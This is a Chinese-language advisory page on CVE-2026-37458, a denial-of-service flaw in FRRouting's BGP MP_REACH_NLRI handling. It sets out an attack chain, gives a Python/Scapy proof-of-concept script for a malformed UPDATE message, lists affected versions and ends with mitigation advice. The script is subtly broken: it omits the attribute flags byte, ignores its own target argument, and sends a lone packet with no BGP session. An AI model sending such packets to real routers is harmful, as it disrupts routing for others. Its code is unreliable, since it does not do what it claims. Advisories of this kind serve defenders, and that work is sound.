IPBUF安全漏洞报告
English
CVE-2026-37458 CVSS 6.5 中危

CVE-2026-37458 FRRouting MP_REACH_NLRI组件DoS漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-37458
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FRRouting

相关标签

DoSFRRoutingBGPInput ValidationCVE-2026-37458

漏洞概述

CVE-2026-37458是FRRouting(FRR)stable/10.0至stable/10.6版本中的一个安全漏洞。该漏洞源于MP_REACH_NLRI组件缺少输入验证。经过身份验证的攻击者可以通过发送特制的UPDATE消息来利用此漏洞,成功利用可能导致目标系统服务中断,造成拒绝服务。

技术细节

该漏洞位于FRRouting的BGP模块中,具体涉及MP_REACH_NLRI(多协议可达NLRI)属性的处理逻辑。由于代码在解析BGP UPDATE消息中的特定路径属性时未对输入数据进行充分的边界检查和格式验证,攻击者可以构造畸形的数据包。当受影响的FRR路由器处理此恶意UPDATE消息时,可能会触发解析错误、内存越界访问或资源耗尽。根据CVSS向量分析,该漏洞需要网络层面的访问权限和低权限的认证(如建立BGP邻居关系),攻击者无需用户交互即可远程发起攻击。虽然不影响机密性和完整性,但会严重影响路由服务的可用性,导致路由震荡或进程崩溃。

攻击链分析

STEP 1
侦察
扫描网络发现运行FRRouting版本10.0至10.6的路由设备,并确认BGP端口(179)开放。
STEP 2
建立连接
攻击者与目标路由器建立BGP对等体连接,获取低权限认证身份。
STEP 3
漏洞利用
攻击者向目标发送包含畸形MP_REACH_NLRI属性的特制BGP UPDATE消息。
STEP 4
拒绝服务
目标设备解析异常数据包时触发未处理的错误,导致FRR进程崩溃或路由服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-37458 # This script attempts to trigger the DoS by sending a crafted BGP UPDATE. # Note: Requires Scapy and appropriate network permissions. from scapy.all import * import sys import struct def craft_malicious_bgp_update(): # Construct a BGP UPDATE message with malformed MP_REACH_NLRI # The vulnerability lies in the parsing of MP_REACH_NLRI (Type 14). # Standard BGP Marker marker = b'\xFF' * 16 # Malformed MP_REACH_NLRI attribute structure # Type: 14 (MP_REACH_NLRI) # Length: Abnormal length to trigger missing validation # Data: Crafted payload attr_type = 14 attr_len = 20 # Example length attr_data = b'\x00\x01\x00' + b'A' * 17 # Malformed AFI/SAFI or NLRI data mp_reach_nlri = bytes([attr_type, attr_len]) + attr_data # Withdrawn Routes Length (0) withdrawn_len = b'\x00\x00' # Path Attributes Length path_attr_len = struct.pack('!H', len(mp_reach_nlri)) # Assemble UPDATE message payload update_payload = withdrawn_len + path_attr_len + mp_reach_nlri # Total BGP Message Length (Header 19 bytes + Payload) total_len = 19 + len(update_payload) bgp_len = struct.pack('!H', total_len) # BGP Header: Marker(16) + Length(2) + Type(1) bgp_header = marker + bgp_len + bytes([2]) # Type 2 = UPDATE # Full BGP Packet bgp_packet = bgp_header + update_payload # Encapsulate in IP/TCP (Standard BGP Port 179) return IP(dst="TARGET_IP")/TCP(dport=179, flags="PA")/Raw(load=bgp_packet) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) target = sys.argv[1] pkt = craft_malicious_bgp_update() print(f"[*] Sending crafted BGP packet to {target}...") send(pkt, verbose=0) print("[+] Packet sent. Check if FRR service crashes.")

影响范围

FRRouting stable/10.0
FRRouting stable/10.1
FRRouting stable/10.2
FRRouting stable/10.3
FRRouting stable/10.4
FRRouting stable/10.5
FRRouting stable/10.6

防御指南

临时缓解措施
建议立即升级FRRouting至修复版本。若无法立即升级,应严格限制BGP连接来源,仅允许可信的IP地址建立对等体关系,并配置入侵检测系统以监控异常的BGP UPDATE流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表